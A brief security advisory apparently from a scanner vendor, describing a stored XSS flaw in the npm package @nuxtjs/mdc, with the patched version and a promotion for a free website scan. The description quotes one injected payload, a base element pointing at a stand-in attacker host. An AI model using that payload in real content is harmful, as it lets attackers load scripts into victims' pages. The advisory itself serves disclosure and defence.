Vulnerability library
Security checkJuly 20, 2025

Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering

Understand the exposure, see the recommended fix, and check whether your own website has related weaknesses.

High severitynpm@nuxtjs/mdc

Check your website

Find this and other vulnerabilities with a free scan.

Your scan runs on your computer. No account required.

Description

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.

Recommendation

Update the @nuxtjs/mdc package to the latest compatible version. Followings are version details:

  • Affected version(s): < 0.17.2
  • Patched version(s): 0.17.2

References

Could your website be exposed too?

SmartScanner can check your website for Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering and gives you actionable findings to investigate.

Start a free scan

Related Issues

See something that needs correcting? Let us knowUpdated July 20, 2025